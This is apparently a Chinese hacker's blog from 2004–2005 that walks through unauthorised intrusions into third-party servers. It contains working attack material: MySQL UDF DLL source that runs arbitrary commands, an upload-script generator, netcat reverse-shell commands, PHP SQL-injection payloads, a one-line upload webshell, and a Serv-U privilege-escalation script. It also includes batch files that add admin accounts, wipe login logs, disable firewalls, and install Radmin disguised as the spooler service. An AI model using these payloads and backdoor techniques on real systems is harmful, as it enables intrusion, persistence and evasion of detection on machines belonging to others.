2005年07月19日

文章已发表于《黑客X档案》7月刊,作者:dugu

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到!

首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。

思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦!

下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法):

set @a = concat(”,0×0123abc1312389…..);

set @a = concat(@a,0×4658978abc545e……);

………………….

create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob

insert into Mix values("");update Mix set data = @a;//@a插入表Mix

select data from Mix into DUMPFILE ‘C:\\Winnt\\文件名‘;//导出表中内容为文件

前两句很熟悉把,这个就是我们以前注入的时候,绕过的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。

后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下:

fp=wscript.arguments(0)

fn=right(fp,len(fp)-instrrev(fp,"\"))

with createobject("adodb.stream")

.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)

end with

sll=sl mod 65536:slh=sl\65536

with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)

.write "set @a = concat(”,0x"

for i=1 to sl

bt=ascb(midb(str,i,1))

if bt<16 then .write "0"

.write hex(bt)

if i mod 128=0 then .write ");"+vbcrlf+"set @a = concat(@a,0x"

next

end with

好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat(”,0x”删除了,加上建表,插值得那三句代码即可!

脚本生成了,如何上传?先登陆mysql服务器:

C:\>mysql –u root –h hostip –p

Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库

Mysql>\. E:\*.dll.txt; //这儿就是你生成的mysql脚本

按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了!

下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧!

先用mix.dll:

登陆mysql,输入命令:

Mysql> \. e:\mix.dll.txt;

Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\windows\\mix.dll’;

//这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令!

Mysql> select Mixconnect(‘你的ip’,'8080′); //填写你的反弹ip和端口

过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1

这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect(‘你的ip’,'8080′);”的时候,对方的mysql会当掉!报错,然后服务停止!如图2

所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。

再用my_udf.dll

Mysql>\. C:\my_udf.dll.txt

Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME ‘C:\\winnt\\my_udf.dll’;

    //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数

Mysql> select my_udfdoor(‘’); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数

好了,现在你可以不用关这个shell了,我们再开一个cmd,使用:

D:\>nc hostip 3306

*

4.0.*-nt x$Eo~MCG fuck //看到这个后,输入“fuck ,他是my_udfdoor默认密码,自己无法更改

过一会儿,你就有了系统权限的shell了,如图3

由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor(‘’);”后),不管你是否连接,只要执行了:

Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉,如图4

所以,你使用这个dll文件无法删除你的痕迹!

最后,然我们自己写一个自定义的dll文件。看能不能解决问题。

我们仅仅使用mysql udf的示例作模版即可!看他的示例:

#include <stdlib.h>

#include <winsock.h>

#include <mysql.h>

extern "C" {

char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,

       char *error);

// 兼容C

}

char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,

       char *error)

{

    char * me = "my name";

    return me;

    // 调用此UDF将返回 my name

}

十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了:

下面是我的一个哥们Crackme是修改的:

#include <stdlib.h>

#include <windows.h>

#include "mysql.h"

extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改

 

 

__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改!

{

    char me[256] = {0};

if (args->arg_count == 1){

        strncpy(me,args->args[0],args->lengths[0]);

        me[args->lengths[0]]=’\0′;

        WinExec(me,SW_HIDE); //就是用它来执行任意命令

}else

        strcpy(me,"do nonthing.\n");

 

 

    return me;

}

好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把!

看操作:

Mysql>\. C:\sysudf.dll.txt

Mysql>Create function sys_name returns string soname ‘C:\\windows\\sysudf.dll’;

Mysql>\. Nc.exe.txt //nc.exe也上传上去

Mysql>select sys_name(‘nc.exe -e cmd.exe 我的ip 8080′);

//sys_name参数只有一个,参数指定要执行的系统命令

好,看看在Win2003中的一个反弹shell了,如图5

当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。

上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。

好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?

2005年07月09日

PHP注入+MYSQL=SYSTEM权限

文章已发表于《黑客X档案》第8期,作者:dugu

(没有想到过了一个月后文章才发,本来以为发不了了,就马上贴上来了,现在既然发了,8月底再把图片补上.已补齐)

研究了mysql提权的问题后,我们不难想到,如果没有若口令怎么办呢?暴力破解?太需要运气了!其实结合php注入是很容易搞定的~下面我就用php注入来演示一下,和我一样菜的朋友们注意啦,开始实践啦!

找到一个站,它的软件下载部分存在php注入漏洞。随便再一个有漏洞的地方加了一个引号,报错了,如图一:


得到了网站路径了~,但是我们的目标是得到mysql的密码,而这个密码啦,一般是在config.php里面的。所以我们只需要爆出config.php的内容就好说了!php注入爆文件的内容当然是采用load_file(),可是,load_file需要知道完整的路径,难道我们去猜?当然不,我们先来爆图1报错得到文件名,因为一般这些文件都有这种语句:require(“包含的php文件的路径”),而这个一般都会有包括config.php的。好,看我来做:

要用load_file()当然得用union了,猜字段这种事情很枯燥的,我们可以利用一些辅助工具(当然如果你有casi4.0这种极品工具就更好了,但是穷人用不起啊!)。我介绍一个我用的工具PHPSend.exe,猜字段数目的好工具!使用也很简单!利用他,我得到了字段数目,如图2

19个字段,其中第12个字段对应图1

中的简介位置,好,我们开始报global.php的路径,先把绝对路径转化为16进制形式,同时考虑到是爆php文件的内容,为了避免php执行后,无法全部显示所有文件内容,我们把<?php……?>中的“?”替换为“@”,就可以全部显示了!如何替换?我们用这个:replace(load_file(0x绝对路径16进制值),0x3F,0×40) 

注:0×3F对应“?,0×40对应“@”。我们提交:

http://xxx.xxx.edu.cn/study/show.php?id=244%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,replace(load_file(0x443A5C……绝对路径),0x3F,0×40),13,14,15,16,17,18,19

好,我们爆出了文件内容,他确实也包含了config.php文件,如图3.

看到了config.php的路径了把~。好,我们继续爆它的内容,如图4

看到了吧~,我们得到了mysql的密码!

mysql里面的工具,mysql.exe来连接对方:

E:\mysql>mysql -u root -h 对方的ip –p

好了,下面就简单了,先上传dll文件,这里我们选用sysudf.dll,还是使用那个sysudf.dll.txt的脚本来上传:

Mysql>\. E:\mysql\sysudf.dll.txt

脚本运行完毕后,然后导出为dll文件,如图5:

这里需要注意的是,不同的系统的,请注意路径不一样,如果是2003的系统你最好导出到c:\windows这个目录,不然会有爆错的~

再来创建函数,如图6

这里,只要你的dll文件路径和上一部一致即可。但是要注意,由于mysql的转义了一些字符,所有的路径,都必须用“\\”,否则导出讲不成功!

好了,这时如果对方有3389的话,你就可以直接用:select sys_name(‘net user admin admin /add’);来添加用户了,可惜我这台机器没有开3389,我们用同样的方法上传并导出nc.exe,然后执行操作,如图7

这时你的本地监听的端口,将得到一个反弹的shell,如图8

好,这个system权限的shell我们已经拿到(如果你有什么命令输入不对,这个sys_name函数是可以反复执行的,不用担心哦,再来一次就可以了!)。可是任务还没有完成哦~别急着闪人先!我们还没有擦掉痕迹啊!我们为了上传sysudf.dllnc.exe一共建立了两个临时表:temp1,temp3,我们用drop table 表名;来删除表。然后我们还建立sys_name函数,我们用:drop function sys_name;来删除函数!最后,show tables;来看看有没有清理干净,而select * from func;可以察看mysql里面的所有函数。

入侵任务到此完全完成。但是,请大家不要把思维局限于文中的方法!我们想象一下,如果对方开了防火墙之类的东西,我们无法连接它的mysql怎么办?放弃?当然不是,我们可以想办法得到对方的phpwebshell(如何得到?去看以前的《黑客X档案》吧!),这里我们需要能够执行sql命令的webshell,比如phpspy2006,然后通过webshell登陆它的mysql,直接创建函数不就可以了?对方总不至于拦截本地的连接请求吧?(不要说这个时候你还要用mysql脚本上传啊!你的webshell难道就没有上传的功能?),在这个webshell下,我们不也是可以用select sys_name(‘命令’)来执行任何系统命令?至于是运行rootkit还是什么的,就各凭所好啦!

 

 

 

2005年06月13日

网上php版的早就有了,一直等待asp版的出现,可惜没有,想一想不就一个mswinsock的调用嘛~,于是喊上crackme一起动手了。先直接用vbs写了最简单的代码,本机测试成功后,就开始移植到asp上去,可惜的是,原来asp不能用vbs中的sleep方法,他自己也不象php,php有自己的sleep()!到论坛请教了一些人,给了我一些asp中实现延时的笨笨的方法。延时的确可以实现,可惜放到mswinsock前,就是不能成功!郁闷了!

想一想,最近要考试了,没有时间研究,先贴在这儿,以后有时间来研究!各位大大有知道的,也指点一下~

asp中延时方法:

<%
Dim startTime ‘ 开始时间
Dim delayTime ‘ 延迟毫秒数
Dim i

startTime = Timer ‘返回午夜 12 时以后已经过去的秒数。
delayTime = 300

‘ 延迟
While (Timer – startTime) * 1000 < delayTime
Wend

‘ 延迟后的代码
Response.Write "执行时间: " & (Timer – startTime) * 1000 & "毫秒"
%>

vbs实现提权代码:

Dim revdata
Dim sendata
Set sock=createobject("MSWinsock.Winsock")
Sock.protocol=0
Sock.connect "127.0.0.1",43958
WScript.sleep 10
Sendata="USER LocalAdministrator"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="PASS #l@$ak#.lk;0@P"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="SITE MAINTENANCE"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-SETDOMAIN"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Domain=hhxx|0.0.0.0|222|-1|1|0 "& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-DynDNSEnable=0 "& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata=" DynIPName="& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-SETUSERSETUP"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-IP=0.0.0.0"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-PortNo=222"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-User=hhxxttxs"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Password=hhxxttxs"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-HomeDir=c:\"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Maintenance=System"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-Ratios=None"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata=" Access=c:\|RWAMELCDP"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
Sendata="-GETUSERSETUP"& chr(10) &chr(13)
Sock.senddata Sendata
WScript.sleep 10
sock.close

Set sock2=createobject("MSWinsock.Winsock")
Sock2.protocol=0
Sock2.connect "127.0.0.1",222
WScript.sleep 10
Sendata="USER hhxxttxs"& chr(10) &chr(13)
Sock2.senddata Sendata
WScript.sleep 10
Sendata="PASS hhxxttxs"& chr(10) &chr(13)
Sock2.senddata Sendata
WScript.sleep 10
Sendata="site exec net user aa aa /add" &chr(10) &chr(13)
Sock2.senddata Sendata
WScript.sleep 10
Sock2.close

2005年05月25日

郁闷死人了!我刚刚写的差不多了!按了一个删除建,竟然退出网页!白写了!

在写一遍!

哥们告诉我了,这个机器不是linux ,是SunOs得!我这个系统盲噢!

今天,无意中翻到一个temp目录下的一个站,是玩union入侵的时候得记录。当时,似乎是认为是linux机器就放弃了!今天突然想到,不能拿到root权限,拿到webshell总可以吧! 好,let’s go!

先看看union能爆出什么,晕,什么表没有猜出来!什么表名啊!

换个思路,看看有没有后台,免得呆会白忙活!扫了一会,www.xxx.com/admin/login.php,找到了一个!

好,随手一个“’or’1′or’”(这个我上次说过的,跟以前的and 1=1用法有一点不同),晕哦,进去了!

好了,看看如何传webshell,修改页面选项,有上传附件的,好,试试直接上传一个phpspy.php,又晕,提示修改成功!难道……,马上到了那个修改页面,点击下载附件,呵呵,看到提示输入密码!

进到webshell,直奔数据库,看看是什么表名让我才不着的!(当然,你得先到config.php弄到数据库密码!)

看看表名:

advice
page_column
page_content
sessions
sys_user
top_bottom
login_log

就是那个sys_user也不难啊,不过我就是没有猜着!好,先收藏到表名dic里面!

另外,还得注意一下那个表:login_log呵呵,我的ip可能记录在案噢!好,我们先看看表中的内容!

可惜的是,phpspy中运行:

select * from login_log;

不给回显!怎么办?好办:

我先下载了它的备份了它的数据库文件,然后下载到本地,文本打开,虽然有些乱码,但是表结构还是能够看清楚的,看看:

serial_no ip username login_time

里面也确实有我的ip,好,一句:

delete from login_log where ip=’我的ip’;

整个世界清净了!

好了,现在我们来看看权限,运行

id

uid=60001(nobody) gid=100(web)
不是root,需要提升权限!(似乎是废话哦!不过我还真的得到过直接就是system权限的php得webshell啊!)

怎么提升?我怎么知道?我的linux操作都没有学好!只有继续学习了!等会儿把这个webshell发给哥们看看,让他们来提权,看看能不能完成此文!

2005年05月21日

利用这个

replace(load_file(0x路径的16进制值),0×3F,0×40)  //0×3F为?,0×40为@

爆出config.php得内容

然后用:mysql -u root -h ip -p 库名

系统会提示输入密码,我还不知道能不能在参数中直接加上密码

建一个表,写入一个text得记录,一句话得upfile.php:

<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

然后传phpspy。

慢慢补上~

2005年05月01日

五一期间,无聊,于是就想找几台好点的肉鸡作跳板!

跳板嘛~速度第一!而且,在第一层的跳板,我一般选择同一个校园网的——速度超级快啊!

首先,找一个好的扫描器,范围就是学校的一个Bip,几分钟后,扫出了开了3389的机器,然后……继续扫!因为有很多xp的机器也开了3389,这个不是我需要的!在扫3372,这个端口好像只要是2000就开了!好了,得到了一些2000的开了3389ip

随便在ie中输入了一个ip,啊?竟然是刚刚装上的apache2(为什么?所有的文件是以列表形式展开的,点击进去,都是欢迎使用之类的东西!你说能不是刚刚安装上的?),这个东西我不熟——其实是根本就没有接触过,不过还好,asp接触多了,php也能看那么一点,至少sql会操作纱!所以还是有机会的。

哈哈,天不负我!进了一个文件夹PHPMY的目录,点击——竟然进到了——phpadmin的管理页面。而且,看看这句话:

MySQL 4.0.15-nt localhost root@localhost 的身份执行

还有这句:

您配置文件中的设定与 MySQL 默认权限账户对应(有密码的 root)。您的 MySQL 服务器使用默认值运行当然没有问题,不过这样的话,被入侵的可能性会很大,您真的应该先补上这个安全漏洞。

看到了吧,终于有机会玩玩phpshell——从来都是玩aspshell的,都玩郁闷了!这次我一定的尝尝鲜!

第一步:已经作了,空密码进入了phpadmin

第二步:想办法拿到webshell

                1,由于没有任何关于php环境拿webshell的经验,只能参考前辈们的教程了。看了看牛族的mysql若口令下拿到webshell教程。关键是两条:能够执行数据库操作;知道web路径。前者我拿到的phpadmin当然可以完成。关键是后者如何弄到。

                 2,由于是新站,没有什么东西,当然就谈不上什么爆库得到路径。似乎只有猜了!遗憾的很,我没有用过php,我哪儿知道apache的默认安装路径?当然,先是google啦,从网上得知,apache的默认安装路径是c:\apache2,于是我也照着作了!

                         看操作:

        首先用phpadmin随便找一个数据库,建立一个表table,添加一个字段,类型为text,值就是webshell的内容。我先是准备用angelphpspy2006的,可惜,太长了,一行一行的贴,除非是sb!搜索了一下php上传的简短代码,找到一个(还是angel写的,牛人啊!):

服务端:

<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>

客户端:

<form ENCTYPE="multipart/form-data" ACTION="服务端地地址" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="
提交 " TYPE="submit">
</form>

看看,只用一行,就可以上传phpspy2006这种大木马了!

最后执行一句sql语句:

select * from table into outfile "C:\\Apache2\\test.php"

看看ie404错误,看来地址猜错了!怎么办?我边想边试着学习phpadmin的使用。一不小心,执行了一句sql语句:

什么来着,我记不得了!哈哈~

反正是mysql报错了,然后我知道了路径::c:\apache2\htdocs,应该是默认路径吧,可惜,我不知道,白折腾了半天!

好了,现在就好作了,执行sql语句:

select * from table into outfile "c:\\apache2\\htdocs\test.php"

进去ie看看,有这个文件,马上执行客户端,ok,上传成功!

好了,webshell到手。

第三步:提升权限。

这一步,其实是极其简单的!可惜我最开始没有想到,走了不少弯路!

主机没有mssql,没有serv-upcanywhere等一些常见的容易提权的地方。我当时还真有点没有主意。没有办法了,瞎看看吧!

首先看了看这个地方:

当前目录(不可写,0): C:/Apache2/htdocs/c:\docume~1\alluse~1/「开始」菜单/程序/启动

phpspy2006写着不可写,不是太相信,就试了试,的确不可写,无意中看到了这个:



Monitor           下载     |       编辑       |       删除      |       改名      |     时间 


   

看到了没有,有改名的选项,不能上传,但我可以试试能不能改名啊!为什么要试?看了后面就知道!

测试了一下,改名成功!好!改名为boot.vbs,然后,编辑文件,写入:

dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user admin angel /add"
wsh.run "net localgroup administrators admin /add"

成功更改文件内容!

重启后,我们就有3389的权限了!

可是,对方是服务器,难不成,我就一直等着?当然不!于是就四处瞎逛!突然发现,竟然可以浏览

c:\docume~1\/Administrator下的内容,难道……我的WEBSHELL权限是……难以相信啊!

赶快试试,到WEBSHELL执行net user admin angel /add,晕!命令运行成功!

哎呀,我还一顿想着如何提升权限啊!没想到,已经是……

想想,是不是与一开始就出现的那句话有关:

MySQL 4.0.15-nt localhost root@localhost 的身份执行

不知道是否与他有关?不太清楚,没有塔过apache的网站,权限为什么会这样子?

那位知道,留个言,感激ing

当然我自己也会努力去寻找答案的!

2005年04月22日

snmp弱口令在一次常规入侵中的应用

文章已经发表于《黑客x档案》12期

     常常见到论坛里面或qq里面有人问snmp的若口令怎么利用,其实网上已经有了一些关于snmp弱口令的介绍,无奈的是,我还没有看到谁做过教程,刚好这次入侵过程中snmp弱口令给了我很大的启发,于是就把他写了下来,希望给大家一些启发。

最近看到某个主页做得很烂,似乎很长时间没有做过维护了,不巧他的网速很快,于是我有了把他做成肉鸡的念头。首先当然是刺探信息了,开了x-scan,扫了一会儿,结果出来了:

主机地址

端口/服务

服务漏洞

202.*.*.* ftp (21/tcp) 发现安全提示

202.*.*.* telnet (23/tcp) 发现安全提示

202.*.*.* unknown (1080/tcp) 发现安全提示

202.*.*.* www (80/tcp) 发现安全漏洞

202.*.*.* unknown (3389/tcp) 发现安全提示

202.*.*.* snmp (161/udp) 发现安全漏洞

漏洞 snmp (161/udp) Snmp口令: "public"

虽然他也开了80端口,但是iis似乎设置的很好,没有什么漏洞,21端口对应的服务又不是serv-u提供的,而是ms的,没有可能溢出。最近的一些入侵都有试过,没有成功,估计是打了sp4及以后的补丁.至于23,3389端口,我没有用户名,爆破基本无望啊,那么剩下的只有snmp的弱口令,在说利用之前,先向大家推荐两款工具:snmputil.exe!他能够提供基本的、低级的SNMP功能,通过使用不同的参数和变量,可以显示设备情况以及管理设备。tscrack.exe这是针对Win2000终端服务的一个密码破解程序.这个程序被微软推荐给用户使用,来检查终端服务密码的强壮性.程序使用msrdp控件。

snmputil.exe有三种命令参数:Snmputil get Snmputil getnext 和snmputil walk,对于我们最有入侵有用的,是snmputil walk,这里只说这种命令的使用,其他的命令大家可以看help。

snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程

snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表

snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名

snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件

snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息

好了,工具大家了解了,那么这些命令怎么利用大家有底了吧?我是这样用的:首先snmputil walk 202*。*。* public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程,看了看有防火墙和杀毒软件,然后snmputil walk 202*。*。* public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表,如图1:图一

得到了guest,jin, j*,t*四个用户,接着做一个小的字典。问我怎么做?他不是有开80端口吗?在里面找出电话啊,邮箱名啊,联系人姓名之类的信息,不时就有字典了吗?好了,现在回到命令行下:tscrack.exe -w pass.dic -l jin 202.*.*.*,参数l后接用户名,一个一个试试吧。功夫不负有心人,看看这个,虽然提示说是without success:图2,但是在破解过程中出现了这个:图3:

不让你登陆3389?也就是说密码是正确的,只不过权限不够。再看看扫描结果,不还有23端口吗?telnet上去!如图4:

试试权限,如图5:

没有权限啊~!试了试几个提升权限的工具以及最近的溢出程序—针对ms04020的posixexp.exe,可惜没有成功,又看了看他开的服务,既没有servu,也没有mssql,更没有什么远程控制服务。不仅如此,他的c盘的许多目录都是设置了权限的,我根本就无法访问(所以没有办法下载sam文件来爆破啊)!似乎无路可走了。无聊的我想起了ntshell这款工具,它可以自己搜索能够开机自启动的地方,并且不像其他木马都是把服务端程序拷贝到系统目录然后设定开机器启动的,像我这种不能读写系统目录的情况,ntshell是最好的选择!只要让管理员重启了,以管理员权限运行了他就可以了!马上下载了下来,运行后。成功连接,如图6:

但是—管理员很nb,没有找到开机启动的地方!如图7:

我晕!正当我感到山穷水尽的时候,我发现了一个文件,一个刚刚看ntshell说明文档时看到的文件:msole32.srg,呵呵,ntshell用来保存密码的东西啊!这台机器看来被同道中人光顾过啊!马上下载过来,打开了一看,呵呵,密码全部到手了!图8:

哈哈,3389登陆器,成功连接!如图9:

写本文的关键是想让大家明白snmp弱口令的可怕!所以希望大家不要怪我运气太好了,其实如果没有snmp弱口令,我又怎么可能得到telnet的账号?没有这个账号,如何能根据各种线索等到最高权限?不要忘记,我们入侵时,哪台机器不是因为千里之堤,溃于蚁穴呢?只不过我这里介绍了snmp弱口令这个蚁穴!好了,到这里,小菜们都知道了snmp弱口令的利用了吧?网管们是否也应该注意为snmp设一个强悍的密码呢?

 

自己总结了一下:
1。tcp/ip筛选:
命令:
regedit -e 1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
regedit -e 2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e 3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
然后,EnableSecurityFilters"=dword:00000001把最后面的数字1改成0后保存
regedit -s 1.reg
regedit -s 2.reg
regedit -s 3.reg
可以去除tcp/ip筛选,但是必须重启。
2。ip安全策略:
命令:
regedit -e ipsec.reg HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Micrsoft\Windows\IPS
ec\Policy\Local
然后,修改:
tipsec.reg 中的"ActivePolicy"="这儿是一大堆字串",把字符串改为空。
这样可以去除ip安全策略,这个不用重启。(当然改了注册表,要记得备份!)

(今天看见有人说了这个方法,既然说了,我也不用保密了:net stop policyagent
3。xp和2003的内置防火墙:
net stop SharedAccess (就是最长的那个服务)

2004年10月27日

只不过对以前的入侵思路作了一个小节,没有什么技术,只是希望对大家入侵时候的思路
有一点启发,我就十分高兴了~

一。升级你的漏洞数据库,将所有可利用漏洞扫描一遍,如果真的能有什么溢出漏洞,恭
喜你,你可以直接进去了。
     此方法利用条件:运气好,扫描器全面,对方网管是个白痴。

二。如果没有什么大的漏洞,那么打开端口扫描,那六万多的端口全部扫一遍,最好是得
到所有端口的banner,然后察看banner,看看管理员有没有修改端口,对于banner上有显
示服务版本号的,可以上google搜索有没有漏洞利用程序。有的话,恭喜你,你的运气还
是很好。
    此方法利用条件:运气好,会用google

三。如果开了80端口,方法一二都不成功的话:
   1,sql注入(现在流行的攻击方式)
      如果能得到管理员的web管理账号,只要找到后台就好办了。如果得不到后台或者账
号,可以 利用mssql的各种扩展存储过程或者backup a shell。权限高的话,直接加账号
也没有问题。
     此方法成立条件:熟悉asp,mssql,会找注入点。
   2,旁门左道(我不知道叫什么名字了)
      登陆http://whois.webhosting.info/进行域名反向查询,得到其他认得网页,寻
找注入点,攻入虚拟主机,从而间接攻击目标。
     此方法成立条件:对方是虚拟主机,或者对方机器有多个网站。
   3,社会工程学
      这一招器是在很多时候都有用,80端口开放的时候利用较多,所以就写到这里了。
由于此方法太过灵活,没有固定的方法,就不写了。
   4,域名欺骗(我不知道这个名字用在这里对不对,反正这个方法我很少看见人用)

      如果对方的网页实在找不到注入点,或者她根本就是静态的网页,那么就只有这种
方法了:攻入域名提供商的主机(其实不难),把她的域名转向到你的网页,而你的网页
指向它真正的主页,但是你的网页可以放入网页木马。这样只要她登陆自己的网页,就中
招了。
     此方法成功条件:具有一定的入侵经验,熟悉html。

四。如果对方没有漏洞,也没有80端口开放:
     这时,我是没有什么好办法的,我通常是:扫描相同的网段,利用方法一二三找到几
台机器攻入。然后放一个嗅探器,得到目标的账号密码之类的信息。
    此方法成立条件:运气好,对方网络是共享式网络(否则无法嗅探)。

五。实在不行的话,你就攻入他所在网段的路由或者网关等等。然后就看你的经验了(这
个我是不行的,不过据说前几天的tencent就是这样被黑客破坏的)

    以上几点,只不过是我的个人小节,如果大家还有更好的方法,希望也能写出来和大
家分享。

2004年10月20日

这篇文章是我第一次想投稿的文章,可惜的是自己都觉得太简单了,不好意思询问结果,所以就贴到这里了~ 

      先说radmin安装问题,都是说替换服务法,替换alerter,spooler
服务等,我们这里来换spooler服务。看下面的bat,后面我都作了简单的注释:
@echo off
%SystemRoot%\regedit.exe /s radmin.reg //导入你设置的radmin服务端的配置
Spoo1sv /install /silence //这里我把r_server.exe改名为spoo1sv.exe,注意,数字1和字母l区别
%SystemRoot%\regedit.exe /s spooler.reg // 导入你修改的spooler服务的注册表配置
sc config spooler start= auto //为了避免肉鸡的spooler服务被禁用,先用sc改过来
net stop spooler /y
net start spooler
del radmin.reg
del spooler.reg
sc delete r_server
attrib +h +s +r admdll.dll //把你上传得文件都设为超级隐藏
attrib +h +s +r raddrv.dll
attrib +h +s +r spoo1sv.exe
attrib +h +s +r sc.exe
del radmin.exe
del del.bat
  这里我们就可以把它保存为del.bat文件了,然后我们把radmin.reg,spooler.reg,sc.exe,spoo1sv.exe,admdll.dll,raddrv.dll,del.bat做成自解压文件并保存为radmin.exe就可以了,并设定解压后运行del.bat。以后只要运行radmin.exe即可自动安装超级隐藏的后门了,简单吧~!这里还顺便说一句,就是在导出radmin配置注册表文件的时候,路径最好改为:%systemroot%\system32\spoo1sv.exe /service,因为这样的话,你就不必为他的系统装的盘不是c盘,而必须重写注册表文件。
  再说说开telnet,以前说用echo加上3,7,y,0,y,0,0可以在shell下去除ntlm认证,可是,用bat还是可以修改注册表达到目的的,当然原理是一样的,看这个bat(开的是1337端口):
echo Windows Registry Editor Version 5.00 > config.reg
echo.
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> config.reg
  echo “NTLM”=dword:00000000 >> config.reg //修改ntlm认证
  echo “TelnetPort”=dword:00000539 >> config.reg //可以自定义端口
  regedit.exe /s config.reg
  del config.reg
  net start tlntsvr
  停掉telnet服务的bat:
  net stop tlntsvr
  echo Windows Registry Editor Version 5.00 > configs.reg
